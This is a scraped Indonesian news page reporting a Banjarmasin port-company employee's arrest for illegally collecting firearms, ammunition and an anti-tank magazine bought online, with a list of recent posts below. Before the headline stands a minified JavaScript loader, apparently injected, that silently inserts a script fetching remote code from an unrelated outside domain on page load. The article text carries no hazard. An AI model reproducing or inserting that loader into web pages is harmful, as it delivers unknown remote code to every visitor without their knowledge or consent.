(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pemilik Senpi Ratusan Amunisi di Banjarmasin Terancam Hukuman Mati


KANALKALIMANTAN.COM, BANJARMASIN – Perbuatan TF (29) oknum karyawan anak perusahaan Pelindo III Banjarmasin penyimpan senjata api (senpi) ratusan amunisi dan magazine antitank membawanya ke sel tahanan Polisi.

Bahkan, dirinya harus menerima dikenakan pasal 1 Undang-Undang Darurat Nomor 12 Tahun 1951 tentang kepemilikan senjata api tanpa izin yang ancamannya hukuman mati, atau seumur hidup, atau maksimal 20 tahun penjara.

“Dia melanggar Undang-undang Darurat Nomor 12 Pasal 1 Ayat 1, kita berikan sanksi pidana berat,” kata Kapolda Kalsel Irjen Pol Andi Rian saat konferensi pers, Kamis (8/6/2023) kemarin.

Pada konferensi pers yang digelar di halaman Mapolda Kalsel diperlihatkan barang bukti berupa sejumlah pucuk senjata api, seperti airsoftgun laras panjang, pistol, senapan angin laras panjang, magazen antitank.

Baca juga: Pembukaan Expo Ekraf Kabupaten Banjar Berlangsung Meriah

Kemudian ratusan amunisi berbagai kaliber, komponen-komponen senjata, dan bahkan dari tangan tersangka juga diamankan sebuah amunisi kaliber 30 mm (tidak aktif).

“Kaliber 30 biasanya digunakan pesawat tempur, termasuk jenis senjata berat,” kata Kapolda Kalsel.

Semua barang bukti tersebut diamankan polisi dari tiga tempat berbeda, di kawasan Kertak Hanyar Kabupaten Banjar, di kawasan Alalak Kabupaten Barito Kuala, dan di kantor tempatnya bekerja di Banjarmasin.

Kemudian disebutkan Kapolda Kalsel, kepemilikan senpi dan ratusan amunisi tersebut berangkat dari hobi tersangka sejak 5 tahun lalu mengoleksi senjata.

“Dia tidak menggunakan, hanya berangkat dari hobi. Itu dirakit satu-satu,” kata Irjen Andi Rian.

Baca juga: Gerebek Sarang Judi Sabung Ayam di Gambut, Ada Dadu juga Narkoba

Tersangka TF disebutkan membeli senpi dan amunisi tersebut di marketplace Tokopedia. Hingga kini polisi masih melakukan pelacakan pihak yang menjual ke tersangka melalui platform tersebut.

Penyidik Diskrimum Polda Kalsel telah berkordinasi dengan Bareskrim Polri untuk meminta bantuan melacak pihak-pihak yang terlibat transaksi senpi dan amunisi ilegal tersebut.

“Kita minta bantuan Bariskrem melihat siapa pihak-pihak yang menjual kepada yang bersangkutan,” terang Andi Rian. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

9 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

9 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

11 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.